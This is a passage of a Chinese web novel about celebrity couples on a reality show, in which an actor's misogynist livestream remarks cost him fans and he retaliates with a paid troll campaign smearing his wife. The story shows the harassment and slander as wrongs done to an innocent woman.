若是往日不会那般冷待自己的亲子,也不会到今天这一步。 说到底一步错步步错,错的也一直都是她。 是她贪婪好色又自私,所以活该将会被抛弃。 这一对儿之间的感情问题暴露的太明显了,弹幕也在刷屏,像是情感小剧场,全都在关注周鹤瑾和周媛媛的婚姻关系。 {双周婚姻其实还有点复杂,总感觉周媛媛其实是想用力挽回的,但她现在挽回其实没有用了,因为明显可以看出周鹤瑾和周文晏对她的靠近是很不自然的,面对疼爱自己的母亲,孩子们绝不会是这个反应,只能说周媛媛绝对在婚姻关系中伤害过彼此的子嗣,否则周文晏不会反应剧烈。} {周鹤瑾其实从他们结婚前就说过他自己有点大男子主义的,且占有欲强,当时被全网喷他恶臭直男。而周媛媛在湾湾那边爱玩儿的事根本没有传到内陆,所以周鹤瑾不知道自己的妻子有多爱玩有多疯,等他反应过来时他们已经结婚了。周媛媛以前私生活有多乱圈子里的人有目共睹,光是我知道的圈内情人就有五六个,我们不知道的有多少呢?而且周媛媛是真的给人当过小三还喜欢玩人夫。只是结婚后不知道还有没有乱搞过,这事儿真的说不清,反正我只能说周鹤瑾对妻子的要求没有多少,就是希望对方简单温柔,这算什么择偶标准啊,可周媛媛就连这点都做不到,因为她私生活乱到可以开一本小黄文的程度。这俩录制完节目绝对会离婚,等着看吧!} {当初周鹤瑾跟周媛媛结婚后多少人喷周鹤瑾不愿意陪周媛媛一起录制节目,说他不爱周媛媛,其实能理解的吧,你试想下,不关你是男女啊,你想想自己的爱人在自己面前一直都是单纯的像是一张白纸,可结婚后你知道她都是装的,真是的他抽烟喝酒劈腿还玩多人游戏,你能接受吗?你还会爱他吗?不可能爱的,这对儿注定离婚收场。} {其实从玩游戏就能看出周鹤瑾是什么样的人了,小心翼翼温文尔雅的老干部,有点呆呆地愣愣的却又很温柔,因为早年的善事有了回报,所以才会在圈内资源恒通,玩个后宫游戏都能完成独一无二的纯爱,说明周鹤瑾本人就是纯爱党,如果周鹤瑾不跟周媛媛在一起……大概也不会像现在这样进退两难了。} {我有一个大胆的想法……} {周媛媛跟周鹤瑾迟早要离婚,那周鹤瑾老师要不要看看林悠羽啊,他们年龄几乎相仿,好像看着都要离婚了……林悠羽老师虽然没演技但是人还是很好的,颜值在娱乐圈女星里面业算是神颜了,跟周鹤瑾老师也算般配啊……不行了我要嗑了!} {救命啊大姐,你可以嗑!但人至少!不应该!在两个人都还没有离婚的时候嗑这些啊!你这是要让两家粉丝撕的节奏!晚点嗑!} 第920章 这才是真正的他 周鹤瑾玩个游戏,一群人就开始嗑CP了,甚至还有人邪门到去嗑周鹤瑾和许愿的CP,邪门乃至冷门,甚至到周鹤瑾的粉丝现在就想端了他们的超话。 结果点进去一看,哦,嗑的是偶像和粉丝之间的羁绊啊,那对不住了,差点误伤友军。 周鹤瑾玩个游戏让很多人读懂了他。 玩游戏其实很多时候是骗不了人的。 就像有些人脾气暴躁喜欢骂脏话,玩几局游戏就能原形毕露,你就会知道这人的脾性。 周鹤瑾玩后宫游戏却还能做到一对一,最容易后宫的游戏,他都能一对一,可见他又多纯情,多钟情。 就因为这个周鹤瑾涨了一波粉丝。 反观周媛媛,却因为周文晏对她的冷淡而热度越来越低,已经没有多少人关注周媛媛了,大家都在关注周鹤瑾和周文晏了。 就算周媛媛在镜头中,也没有人花费精力去看她。 周媛媛就好像彻底的变成了一个多余的人。 人一直都是这样的,没有人喜欢看道德败坏的人,周媛媛就是如此,纵然周媛媛还没有彻底塌房,周媛媛在湾湾那边的事迹已经传过来七七八八了,没有被直接封杀是因为那时她结婚前的事,且没有碰违禁品,最多算是道德败坏。 周媛媛也知道自己不讨喜了,所以很少凑到镜头这边,不再强行靠近周文晏和周鹤瑾了。 巧的是宋明远玩游戏的时候选的跟周鹤瑾是同一款。 两人选择的都是皇帝的成长攻略,过程结局完全不同。 宋明远就是最大众的玩法,且不,也不能说最大众,因为宋明远开局就在选美人,本该科举他却直接忘了这一操作,只记得去选美人,在这里耽误了很长的时间,甚至于不停刷新界面的美人就为了挑漂亮的,这次他的直播间很多跟他臭味相投的男粉跟他一起还觉得这样有意思一直跟着选,起哄让宋明远多选点。 导致宋明远全程在选美人,第一年的任务都没能完成,直接达成了亡国结局,弹幕区的男粉通篇都在哈哈哈,开始女粉也认为宋明远只是玩游戏没当回事。等他又开了一把后才发现宋明远就没打算好好玩游戏,游戏里面每一年的任务都是擦边过的,最后为了收美人特地买了不少商城道具。 他的后宫跟周鹤瑾的后宫完全不同。 周鹤瑾的皇后还带着天真烂漫的感觉,她那一双儿女面对周鹤瑾曹总的这个皇帝时敢任性也可以任性。 可宋明远的后宫呢?皇后是那个优雅温婉的皇后,知书达理、谨小慎微,宋明远在玩的过程中甚至多次开口称赞这个皇后知进退懂尊卑。而其它被收入后宫的美人呢?在争宠,在互相设计陷害,他只要踏入游戏中的后花园就能看到抚琴唱歌的,跳舞逗蝴蝶的,还有故意设计陷害的,只要出现这种,宋明远就会将那些打入冷宫,然后重新选更多漂亮的美人进宫。 他在游戏中跟皇后的孩子早夭,几乎是生一个死一个的状态,最后皇后也早早香消玉殒。 宋明远最初还在叹息这个皇后死的太早了,游戏剧情不能这么虐心,说完这句话下一秒就扶持了其它美人当皇后。 后宫还是争论不休,他的子嗣还在控制不住的死亡,有他被立为太子精心培养的,最后却因为病重而亡。 宋明远还吐槽:“还好我让她们一直在生,不然孩子都死完了谁来继承皇位?” “女儿没死?女儿活着那能干嘛?开玩笑,女人又不能让她当皇帝继承皇位。” 宋明远看弹幕说可以立女帝,宋明远赶紧变脸说:“这简直是胡闹,这个游戏作者脑子是怎么想的,怎么能让女人当皇帝的,在我这里是绝对不行的,女人就该做女人该做的事,该生孩子生孩子去,还当女帝,整天光做梦了。” “看看后宫被那群女人搞得乌烟瘴气的,真要让选她们当女帝这国家都要玩完。” 直播间问他对自己女儿也这样吗,宋明远眉梢一抬开口:“就算是我女儿那也不行啊,女人就读点书到年纪结婚生子就够了,还想要更多?那就太自私太贪婪了。” 此刻评论区里面全都是赞同宋明远的男粉,纷纷举手叫好支持宋明远的观点。 女粉看着这一幕像是完全没想过宋明远会输出这样恶臭腐朽的观点。 他好像就记住这款游戏女人可以称帝,所以后续后宫出事他就会阴阳怪气道:“这么点小事就要算计来算计去,真要当了皇帝能有什么大志向,还当女帝,就守着自己那块地不争不抢都是好的。” 评论区还是叫好支持的。 他却不说他刚玩的时候也一直在选美,后来为了能多次选美还买了商城礼包。 林悠羽全程都在一旁,她没玩游戏,而宋明远也习惯了时刻忽略林悠羽,也没跟林悠羽互动,林悠羽就带着自己的孩子戴着耳机看动画片,根本没注意宋明远那些长篇大论。 就算知道了也没办法,且她也不想管,因为她已经快跟宋明远离婚了,宋明远的私事,她为什么要管? 宋明远玩个皇帝后宫的游戏玩上瘾了,只可惜死了三位皇后,孩子也死了不少,宋明远看到这个就嘲讽女人就是会搞事,在后宫也不消停。 有些理智的女粉就冷眼看着这一幕,心都好像在此刻彻底凉了,好像已经忘记自己是为什么粉宋明远了。 好像是因为某一个角色有了滤镜粉了宋明远。 可看看现实中的宋明远,这就是她们喜欢了这么久的偶像吗?好像有很强的割裂感。 原来她们真的一直喜欢的都是那个角色,不是宋明远这个人,好像永远都无法接受宋明远灌输的那些思想。 他们的性别不同,好像天生就站在了对立面。 可以只是玩游戏,但为什么要攻击女性呢? 哦,对,有可能他并不觉得自己是在攻击女性,有可能这就是他自己内心想做的,这才是真正的宋明远。 第921章 原形毕露 宋明远不觉得自己的直播有问题,直播间的男粉也不觉得有问题,又女粉丝提到这样不好就会被男粉喷被无脑的女粉喷。 他们说游戏就是这样的啊不要上纲上线! 可她们说的不仅仅是游戏,是宋明远对待女性的态度,让人觉得敷衍,觉得只是将对方当做一件可以随时丢弃的工具。 营销号更是看热闹不嫌事儿大,把宋明远和周鹤瑾的游戏剪辑到一起,甚至提问你最喜欢哪一种结局。 本来粉丝也好路人也好都是选自己喜欢的直播间,但营销号直接剪辑做了对比,好像只是看一看就高下立判。 周鹤瑾全程都只有一个皇后,其实剧情里面不是没有其他女人,但这个游戏的作者好像特别开通了一对一的结局,就算收了其他女性角色也可以放她们离开,譬如被逼迫进青楼的你可以让她离开,她自己会开出新结局,可能会成为隐士的诗人,可能嫁给探花郎,也可能成为女官。周鹤瑾是放对方离开,最后开出的是成为女官的结局。反观宋明远则是,进宫了那就是我的,现在不喜欢以后也要喜欢,知道后面他已经忘记了这个角色,其实如果宋明远真的喜欢她宠爱度够她也可以活很久,但宋明远的美人太多了,他早就忘了对方,结局是跟最初的皇后一样香消玉殒。 周鹤瑾的每一步都跟宋明远不同。 甚至于结局周鹤瑾选择让女儿成为皇帝,理由很简单,因为他培养出来的儿子很闲云野鹤,比起当皇帝更爱好自由,而女儿则是比较强势有主见,女儿确实更适合做女帝,所以结局周鹤瑾禅位女儿,儿子成为逍遥王一世安逸逍遥,女儿也将国家建立的越来越大。 宋明远最后禅位给了他最看好的数值最高的儿子,可惜并没有看对方的性格,对方虽然数值高,可性子软弱,结局是他的女儿逼宫抢夺了皇位,宋明远很悲惨的有了被围困皇宫的结局,还是被自己的女儿围困。 宋明远玩到这里怒骂一声:“艹!我早就知道那群女人不是省油的灯!” 而周鹤瑾截然相反的看着自己的玩出的结局笑道:“我说了,女孩子也可以,她们一直都可以,就像阿愿。” 他们对待游戏的态度,对待女性的态度,就已经很说明问题了。 许愿选择玩了个海王剧情的游戏,周鹤瑾和宋明远同时选择玩了皇帝成长攻略的养成游戏,所以造成了两人各处都被对比的结局。 营销号到处剪辑两人的各种言论对比。 周鹤瑾只有一个皇后有人说他这样实在不该,都已经当皇帝为什么不能随心所以。 周鹤瑾回应:“我已经足够随心所欲了,你看,我选择了自己最喜欢的一位皇后,她哪里都很好,我已经不需要其她人了。这个角色的确是皇帝,但不要忘记操纵人物角色的是我们自己。” 宋明远是如何回应的? “后宫就一个皇后那也太惨了,玩皇帝后宫游戏就是要很多美人,没有美人我当皇帝干什么?人生就是要有权有势有美人。” 宋明远好像真的将自己当成了这个角色的主宰。 其实若是他们玩的不是同一款游戏,宋明远不会被骂这么惨,可怪就怪在周鹤瑾也玩这款游戏,两人可以说是形成了鲜明对比。 且宋明远说的那些有关于女性的话题也像是在故意挑起对立一样。 网络上已经吵成一团了。 {当时在周鹤瑾老师的直播间,就根本没去宋明远直播间,实在是看不下去宋明远那张脸,他不知道他自己不讨喜啊,还不把位置让给林悠羽?现在才知道宋明远跟周鹤瑾老师玩的同一款游戏,宋明远那些言论招不招笑啊,长篇大论那么多不就想说女人不配吗?你抬头看看你许总,你去你许总面前哔哔那些去,来!去!你真去了我就服你!} {也就会在玩游戏的时候偷摸给观众灌输那些不正常且畸形的三观,真要碰到个厉害的女性角色他跑的比谁都快。} {笑死,宋明远玩游戏到最后你捞到什么好了?你想禅位给你的耀祖太子!结果你那太子守不住江山,还是你女儿抢皇位了,打脸不!最后还挽尊说作者设计的不对,哈哈,搞笑,你自己没注意孩子的性格,就觉得是个男的就能继承皇位,你但凡看下性格不是泡在美人堆呢?} {最可笑的是宋明远一直都在说作者这里设计的不合理那里设计的不合理,总说自己皇后和美人还有后宫的孩子一直在死,你要不猜猜看为什么一直死?为什么周鹤瑾那边就没事呢?你猜你第一任皇后怎么死的?被人设计暗害又因为宠爱值不够抑郁而终。第二任皇后更是直接被人毒害,你的美人一直死是因为她们在争抢互相宫斗,你的孩子在死是因为她们就被你困在那一片小天地希望自己的孩子大有作为。所以才造就了这种局面。周鹤瑾那边就没这问题。} {宋明远一直暗搓搓阴阳作者恨女,说自己的美人活不长久,却没想过自己的问题,收了那么多美人,得到对方好感后就不再去见对方,时间久了对方才会抑郁而终,他不想自己在找新的美人,只觉得是作者恨女,这个游戏作者非常爱女!因为这款游戏分男女两款!且男款这版本可以女子称帝,甚至被宋明远强行收到后宫那些有的本该成为女官,有的成为女将军,还有的是富甲一方的商人,但全都被宋明远困在了后宫,不信直接去看周鹤瑾的直播游戏回房啊!真的是同一个人物不同的结局!} {这说明什么,说明要遇到对的人,遇到宋明远那就只能完蛋。} 网络上全都在吐槽宋明远,林悠羽的粉丝也叫嚷希望赶快跟宋明远离婚。 没有任何人去设计中伤宋明远,宋明远只是参加一场综艺玩了个游戏,就已经原形毕露了。 第922章 许愿也掺进来了 当晚宋明远被营销号带节奏跟周鹤瑾剪辑到一起,真的是全网都在骂。 录完直播游戏,节目组已经准备回之前录制的那村庄,因为在飞机上宋明远手机关机,根本不知道网络上乱七八糟那一堆,也完全不知道自己跟周鹤瑾玩的是同一款游戏,他甚至还觉得自己今天表现的挺好,一直都在跟粉丝互动。 等下了飞机回到房间,手机才开机经纪人的电话就打来了,甚至连着给他打了几十个,一直就没停。 宋明远现在属于是看到经纪人的电话就慌,生怕又出点什么事。 “又怎么了?又出什么事了?”宋明远飞速询问。 “你还问我?你自己心里不清楚吗?你今天直播的时候又胡说八道些什么呢!你知不知道你这个年纪,看着微博粉丝多,其实活粉没多少,平日里给你做数据买代言的几乎都是女粉,现在好了!没多久你微博脱粉要有十万!你知道这是什么概念吗!” “其中还包括一直给你撒钱做应援的一位站姐!对方说看了你的直播认为你对女性偏见太大,觉得她是第一次认识你,以前看你都是带了角色滤镜,她只是喜欢哪个角色不是喜欢你,人家还挺体面没说难听话,更多的粉丝都在骂你是渣男了!” 经纪人气不打一处来的骂骂咧咧。 这次是彻底憋不住自己的脾气了。 “你到底能不能好好录制节目了?你儿子那事儿出来后本来就一堆人骂你说你不会带孩子,现在好了,你自己又爆出黑料,还是你自己玩游戏的时候送上去的,我本来还在给你争取一个绝佳电影角色,现在直接被你对家截胡了!人家那角色人设就跟你不符合,你天天营销好男人结果压根不是,本来导演还想给你个机会等你录制完节目让你去试镜,现在好了,导演直接说不会考虑你,说期待下次合作,这官话你不会听不懂!” 宋明远憋屈了半天,好一会儿才开口:“我就录制的时候直播玩了个游戏,我怎么了?我又哪里做错了?” 经纪人真的快被气死了。 是的,宋明远一直都是这样认为这样做的,包括跟他交好的一些人也是相同的三观,所以他不认为自己做错了说错了。 “你就录制玩个游戏?你玩个游戏你一直开麦嘲讽女人干什么?一会儿说女人到了年纪就该结婚,一会儿说那不是女人该干的,女人就该听话在家里相夫教子,一会儿又不停的选美人,全当林悠羽和你的两个女儿不存在?你在干什么!啊?” “你是男艺人!你嘲讽女人干什么!你真当那群男粉能为了挺你买你代言吗!会为你熬夜做数据吗!会为你剪辑多少视频吗!我告诉你!你的那些粉丝百分之八十都是女粉!你现在完了!等你的粉丝都不支持你的时候你还打算谁支持你?” “你路人缘好,可真的会有人为了你专门买票去看电影吗?你又不是天王巨星!你路人缘好耶仅限于对方知道你听过你!没有粉丝你是什么东西!” 经纪人破口大骂,如果经纪人在现场,估计现在手已经招呼到宋明远脸上了。 “你等会儿,我接个电话,有些代言商打过来了,你最好祈祷不是撤代言!” 经纪人挂了电话,宋明远心里却直接凉透了。 经纪人前脚才骂他,下一秒接了电话开始当孙子,可对方显然没打算给他们面子,说的话听得礼貌,其实就没给宋明远翻身的机会。 任由经纪人好话说了一箩筐最后还是要撤代言。 经纪人只能笑着说有机会再合作,对方却笑道回应:“那大概是不会有机会了,因为我们老总是女性。” 只一句话,彻底压死了经纪人。 等对方挂断电话,经纪人深吸一口气给宋明远打过去,他舔了舔唇,此刻有气无力。 “你代言了十年的那空调品牌已经打电话来说要给你解约了。”经纪人也是无力回天了。 宋明远整个愣住,像是完全没想到会是这么个结果。 “为什么?”到现在了,宋明远还在问为什么。 “你问为什么?你代言了她家空调十年,陪对方老总吃过几次饭了,你不是没见过对方,现在你问我为什么?” “她家董事长是女性你真不知道假不知道啊!这位就是从那狼窝里面拼出来走到今天的你知不知道!这位女士现在六十多岁至今没有结婚,一直都在拼事业。你看你说了些什么?你说女人到年纪就该结婚,工作那就不是女人的事,就该在家里生孩子,你哪一句没戳到对方的底线!她凭什么还把代言给你!” “宋明远我告诉你,会有这家解约以后就会有其它家解约,你还想有以后就必须等这次的事淡了!否则你以后完蛋!” 经纪人说到这里像是真的累了,有些乏力:“你说这些的时候没有想过跟你一起录制节目的还有许愿吗……你觉得你哪句话让许愿停了能高兴的,那位许总平日里网络上的热梗也没少看,现在你说这些你信不信许总现在已经知道了。” “她本来就讨厌你。” 经纪人叹气:“现在只能指望你跟林悠羽夫妻炒作了,等你们录制完节目好好秀秀恩爱,就说当时接了个本子人设不太好,所以代入那个戏中的角色才会说那些,总之先糊弄一下剩下的粉丝。” 经纪人这话才出口宋明远就一言难尽开口道:“节目录制结束我跟林悠羽会离婚……她不会配合我的。” “你说什么!你到底又在说什么!怎么就要离婚了!” 经纪人差点以为自己是听错了,眼睛都瞪圆了才想起自己是在打电话:“你到底是不是疯了!好端端的离什么婚!你知不知道现在你名声多臭!林悠羽跟你离婚那群人更会以为是你的错了!现在这婚不能离!” 宋明远烦躁道:“我也不想离,但现在问题是许愿也掺进来了你懂吗!” 第923章 众口铄金 许愿为什么会掺进这件事!! 经纪人此刻更是两眼一黑。 “你到底又干了什么!许愿就不是那种没事找事的人!她没事盯着你干什么!” 经纪人心道,许愿应该死看不上宋明远才是,怎么可能会理他。 宋明远被经纪人这话一噎,好半晌没说出话来,经纪人还在逼问。 “祖宗!你到底干什么了!” 经纪人实在着急,他现在是一点都不想管宋明远了,可偏偏他是宋明远经纪人,任谁看了都觉得他们是一伙儿的。 他是真怕自己跟宋明远分开了,那群人还当他是宋明远这边的人卡着自己艺人的资源。 这不问清楚,经纪人今晚都别想睡了。 宋明远实在没办法了,把自己母亲做的那些告诉经纪人了。 这事儿能瞒多久啊,根本瞒不住!经纪人只要联系剧组的人问几句该知道的不该知道的就全知道了。 知道内幕后经纪人呼吸的声音像是破风箱,呼哧呼哧的快要晕死过去,他眼前黑了又黑。 “宋明远,你真是活祖宗,怪不得你会被养成这副性子,你那母亲功不可没!” “她是真的疯了吗!她是什么东西啊配去见许愿!圈子里的大资本见许愿都那么恭敬!你母亲倒好,骂到许愿面前去!怎么?她比许愿还厉害?” “倚老卖老装模作样能不能挑挑人!” “ 在林悠羽面前嚣张惯了走到哪里都当自己是老大是不是!” 经纪人气到快吐血。 得罪谁不好得罪许愿。 我们什么东西也配得罪许愿? “你是真蠢,如果不是你母亲疯到许愿面前,她不会去管你们的家事,可就是因为你母亲惹怒了她,她也看出你们夫妻之间没有感情,所以才会出面让你们离婚。” “你得罪许愿,又得罪你那些女粉,等你们离婚后她们肯定都会把错处都推到你身上。” 经纪人连连叹气。 宋明远揪心问道:“没别的办法了?难道真要让那群只会在网络上叫嚣的粉丝把一切都推我身上?她们怎么不说林悠羽是靠着我火的?” 经纪人冷笑:“你说这些有什么用?最初不是你先看上了林悠羽的美貌?你自己爱好美色现在说这些有什么用?” “你心里不服气,那你最好祈祷你那些风流韵事别被人扒出来,不然你的星途就算彻底毁了。” 经纪人说完根本不再管宋明远,直接冷脸挂电话。 以后宋明远爱死不死,他是管不了一点了! 宋明远的心彻底沉下去。 现在自己经纪人都不管自己了,他也猜到经纪人是打算放弃自己了。 宋明远眸光愈发深了,不行,不能这么坐以待毙,如果什么都不做,等到离婚被骂的只会是自己,林悠羽不会有任何损失,还会被大众同情收割一波流量。 他倒是什么都没得到,孩子抚养权不在自己这里,平白捧红了林悠羽,财产还要分她一半,什么好处都让林悠羽占了,凭什么? 怎么才能扳回一局。 宋明远满脑子都是算计,冷不丁想到几乎被全网骂的周媛媛。 周媛媛为什么会被骂,全因周媛媛在湾湾放荡不羁身边数不清的情人,跟很多男人发生关系。 想让林悠羽背负骂名,那就只能从这一层面来。 林悠羽跟他在一起前就是一名嫩模,她学历不算高,早早就进入社会工作还曾经在夜店卖酒,那地方出来的怎么可能干净,他在跟林悠羽结婚后知道这事儿也没少膈应觉得她脏。 这件事就是突破口。 宋明远联络了几家营销号,把早年林悠羽在夜店卖酒跟客户喝酒的视频和照片全都发过去爆给各大营销号,特别是跟他关系最好的营销号,还多发了一段林悠羽陪人喝酒的视频。 他倒要看看爆出这种视频,林悠羽还怎么像现在这样云淡风轻。 想轻轻松松带走他的孩子分走他的家产?不扒下一层皮别想走。 他清楚,林悠羽被爆出黑料那自己那点直播间时候说的话也就不算什么了,绝对会被林悠羽的黑料压下去。 做完这些,宋明远才回了房间,林悠羽在哄孩子睡觉,她不知道网络上那些事,更不知道宋明远背着她干了什么,此刻完全被蒙在鼓里。 宋明远看她这样难得有几分愧疚感。 但也就只有一点愧疚感,人不为己天诛地灭说的就是现在。 节目组的嘉宾因为来回坐飞机又直播一下午,现在都又累又困早早休息了,除了宋明远,谁也不会想到林悠羽会上了黑热搜。 #林悠羽陪酒# #林悠羽出轨# #林悠羽情人# #林悠羽小三# 凌晨微博热搜全都是林悠羽。 评论区都是爆料的辱骂的,好像林悠羽真的做了什么十恶不赦的事情。 {我跟林悠羽是高中同学,林悠羽高中时期就凭那张脸跟很多男人勾搭啊,我们那时候的助教老师就跟她在一起过,后来因为她被辞退了,这事儿很多人都知道的} {林悠羽就是烂货啊,睡同学睡师长,谁知道这人怎么红的,那烂演技辣眼睛,也就一张脸好看,还不知道是不是整过的。} {她在夜店工作的时候客人最多了,好多都是慕名而来的,她为了赚钱陪酒有一次都喝到胃出血了,据说她当过我们经理的小三,后来被经理老婆找上来,拽着头发摁到地上打,现在都还有照片呢,等我放照片你们自己看就明白了。} 果然有人放了图,图中的林悠羽穿着暴露,被人抓着头发甩耳光,身上被泼满了红酒还在哭求。 有了图对某些人来说就是有了真相,即便很多人不清楚事实,却看了照片后当做了真实发生的事情,没人去猜测这是不是P图或者是不是因为其它原因,他们全都只相信自己所看到的。 林悠羽长成这样混到现在的地步不是小三是什么。 他们都是这么想的。 这就是所谓的众口铄金积毁销骨。 宋玥这一次又是在睡梦中被助理吵醒的。 宋玥一听助理的语气就知道完蛋,又出大事了! 第924章 最大的恶意 “你现在最好是真的有什么了不得的大事!”宋玥导演还困着呢就被助理摇醒了。 “导演!真的出大事了,你自己快看吧!” 助理把热搜榜都点开了让她看那些黑热搜词条。 “导演,我们节目组开拍前夜不是没敬神啊,怎么就跟犯太岁一样,天天都有大麻烦啊!一直都没完没了。” 助理心里实在忍不住犯嘀咕。 宋玥导演此刻没那个时间理会助理,目光就放到热搜词条上,只觉得自己快要呼吸不上来。 “去叫林老师了吗。” “还没呢。”助理赶紧开口。 “那还不快去叫林老师一起来想办法啊!”宋玥赶紧低喝了一声。 助理赶紧小跑出去找林悠羽。 林悠羽已经被自己经纪人的电话吵醒了,林悠羽经纪人跟宋明远不是一个经纪人,此刻知道黑热搜的事情赶紧给林悠羽打了电话让她看词条问她怎么回事。 林悠羽看着网络上那群谩骂的话眼圈越来越红,忍不住捂住自己的眼睛,止不住的泪水不停的从指缝流出。 “你别只顾着哭啊,你告诉我这些都怎么回事儿!” 经纪人心里烦躁,但还是强逼着自己冷静心平气和的跟林悠羽沟通。 “说你跟学校助教老师那件事你怎么解释,把这件事原原本本的跟我说清楚,不然这事儿没法交代。” 黑热搜太多了,经纪人需要全弄清楚,不然都不知道怎么回应公关。 她现在才是最头疼的,黑粉骂林悠羽骂她,林悠羽粉丝也骂她不会公关营销,骂声全到她这里了。 她白天还幸灾乐祸觉得宋明远难带呢,结果这才多久就轮到自己了。 经纪人只想爆粗口。 林悠羽担心自己吵醒两个女儿,开门去了院子里,她抹了抹眼泪,面上都带着艰涩之意。 “我没有跟那位助教在一起过,只是那位助教是当时主任的儿子,他那时候看我漂亮一直在追求我,我一直没有同意甚至很厌恶对方,可对方在我晚自习后把我拖到楼道里面想侵犯我,是看门的保安当时来锁门听到我的求救后救了我。” 林悠羽想到当年发生的那件事心里全是苦涩。 “那件事不是我的错,但主任执意说是我勾引了他,说我们在恋爱,本来这件事没有闹大,但看门的大爷因为这件事被开除了,老人家气不过就找了记者爆料这件事,学校对我施压逼我说我跟主任的儿子是恋爱关系是我自愿的,否则就要开除我……我没有办法。” 林悠羽说着说着便带了哭腔。 她的经纪人跟她是一起爬起来的,自然跟她是共患难的,听到这里也忍不住为她心酸。 “这件事我会安排人去解释澄清,那你在夜店工作那件事呢,还有……说你是经理的小三被打,这个图都被传上来了。” 林悠羽坐在院子里的小矮凳上,她的笑意都是苦的。 “我在夜店卖酒是真的,但我没有跟男人鬼混,我只是卖酒,他们说一杯酒一千块我当然喝,我只是为了赚钱,胃出血是真的,因为有男人想包我,我不同意,就逼我喝完桌子上的酒,我没办法喝完酒后胃出血被人送进了医院。” 林悠羽咬牙:“做小三那件事更是胡扯,真正的小三是我当时在夜店的好友,对方瞒着我跟经理在一起,甚至把所有的锅都推到了我身上,所以我才会被经理的老婆打,自那后就被夜店辞退。” 经纪人一时哑口无言。 这样的真相令人有些汗颜。 不是林悠羽的错,她只是因为漂亮所以无端承受了那些,还被人设计陷害背锅。 林悠羽一直都是无辜的。 经纪人看着满网都在辱骂林悠羽,更是为她揪心的难过。 {林悠羽真的就像是智商有问题一样,自己丈夫被骂的时候不出面澄清,活该被人爆出这些料!} {盲猜宋明远快跟林悠羽离婚了,就没有男人能忍得了这些的!} {林悠羽真的很假很婊很绿茶啊,不然也不会那么多男的喜欢她,他们就喜欢绿茶这一款,林悠羽呢最喜欢勾搭有妇之夫!就是名副其实的小三,我要是那经理的老婆我真想打死她,仗着自己有一张漂亮脸蛋真是什么恶心人的事情都做!不要脸的东西!} {心机婊,脏女人!滚出节目组!你不配跟宋明远在一起!} 宋明远虽然直播的时候路人缘崩了,但他没有违法犯罪,现在爆出林悠羽这些,那群人还要说宋明远都是因为跟林悠羽接触所以被逼的说了那些话。 试问谁跟这种出轨劈腿早就脏了的女人在一起不会厌恶自己的伴侣从而导致自己厌女? 骂声越来越多,林悠羽的人气更是呈现断崖式下跌,微博粉丝数目也在逐渐减少,她的大粉也在逼着她出来发言。 热搜词条里面除了谩骂就是羞辱和诋毁。 特别是这个时候曾经想过侵犯林悠羽的那位助教老师也站出来,发博称自己当年是被林悠羽蛊惑,林悠羽故意勾引,当时是林悠羽自己耐不住寂寞,他是被林悠羽困在教学楼然后被那看门的老大爷看到了才被开除,还说林悠羽跟看门大爷关系亲密。 这条博文立刻又被顶上热搜,网络上骂林悠羽的人更多了。 经纪人看着满屏的骂声,甚至全都在污蔑林悠羽跟看门大爷关系暧昧,更是浑身发凉。 越来越多的人都在嘲讽林悠羽骂她饥不择食。 更多男人在评论区放自己图片说凭什么老大爷都可以自己不可以。 经纪人气的浑身发抖,这些人怎么能这么无耻呢! 经纪人直接让工作室发了公函将会起诉那位助教老师。 助教老师像是早就猜到了,笑呵呵回应:“说真话就要被起诉?林悠羽就是自己耐不住寂寞,多少人都能为我作证,我没开除她却还能留在学校继续念书,指不定跟校长也有点关系呢。” 最大的恶意都在这一刻涌到林悠羽身上。 第925章 背叛他别想好过 {早就说了,林悠羽就是贱就是浪!她跟看门大爷就是不清不楚的,不然看门大爷为什么为了她去找助教的麻烦还被辞退?就是因为学校知道林悠羽跟他之间的龌龊,真恶心,妙龄少女跟老大爷,活该被学校辞退。助教才是无妄之灾,就因为被林悠羽勾搭设计无法留在学校,那时候该滚的就是林悠羽!她就是个贱人!骨子里就是浪货!} {林悠羽你到底是有多饥渴,老大爷你都要?你不嫌恶心我都嫌恶心,不觉得他身上全都是老人味吗?} {我们是一个学校的,谁不知道林悠羽当初在学校多出名,老师都会在课上点她名字让她去罚站,那些大一届的学生都会去看她,去约她,给她送奶茶,我们见得多了,对,还见过有人送花的,结果花里面夹着小雨伞,不知道林悠羽去没去,不过学校那么多小树林,她肯定娶了,老大爷能满足她?} {哈,林悠羽你早说你高中时候连老大爷也不肯放过我早就追你了,玩玩嘛,反正也不用负责!} 网络上铺天盖地的骂声。 可事实上这些人都是宋明远买的水军,为的就是搞坏林悠羽的名声。 人就是有劣根性的,特别是男性,他们对女性就是天生的带有攻击性侵略性,只要女性有一点错处他们就会像苍蝇一样无孔不入的盯着咬着。 他们最喜欢的就是看高高在上的女性跌落神坛。 宋明远就是男人,当然能明白男性这种心里,他利用一部分水军带节奏,而那些县城也好下九流的男性也好都会信,他们只相信自己愿意相信的。 他们就是理所当然的认为女性就是这样,然后会用最脏最恶心的脏话去辱骂她嘲讽她,界面现在全都是各种荡妇羞辱。 一个水军说林悠羽跟老大爷是那种关系,那些人问着味儿就上来撕咬说她浪荡。 甚至有水军开始编造林悠羽当嫩模时候是某些资本的玩物,背后有资本,还嘲讽林悠羽是易孕体质,给某位大佬生过孩子,后来想收手了想往上爬才勾搭了宋明远,甚至一直不想想要生儿子套牢宋明远。 嘲讽一直想要儿子的不是宋明远,而是林悠羽,她担心没有儿子自己迟早会被抛弃,急需要一名儿子来稳固自己的地位。 网络上这些闹得越大,宋明远心里就越是得意。 因为这事儿闹得大了,那群人才不会继续盯着自己的事辱骂。 自己只是在直播间提了几句女性那算什么黑料?比得上林悠羽跟老大爷和助教吗?比得上林悠羽夜店陪酒当小三吗?比得上林悠羽跟资本发生关系并给金主生了个孩子这些炸裂吗? 这样看来,宋明远反倒是成了干干净净最无辜的人了。 所有人都会同情他可怜他。 宋明远就是在故意营销。 他心里明白,因为他在上这档节目之前一直营销的都是好丈夫好爸爸的人设,他的人设立的太稳,所以形象崩塌后网友和粉丝才会那般愤怒,觉得自己欺骗他们,说白了就是人设崩了。 这是一种非常正常且可笑的情绪反弹现象。 宋明远没少因为这种人设勾着女性粉他。 他在网络上发布的那些言论以及对儿子和女儿的态度都证明了他并非是好父亲好丈夫,一切都是炒作出来的。他的塌房可以说是天塌地陷的程度,特别是经常代言的空调品牌还在这个时间取消代言。 他会被全网辱骂。 如果想要消除这种负面影响让自己沦为受害者,那就必须有更猛的料来压住自己这些黑料。 他和林悠羽迟早是要离婚的,离婚后凭什么自己被骂? 林悠羽得了名声得了好处还分了他的钱带走自己的孩子,他当然不甘心!他就是要毁掉林悠羽! 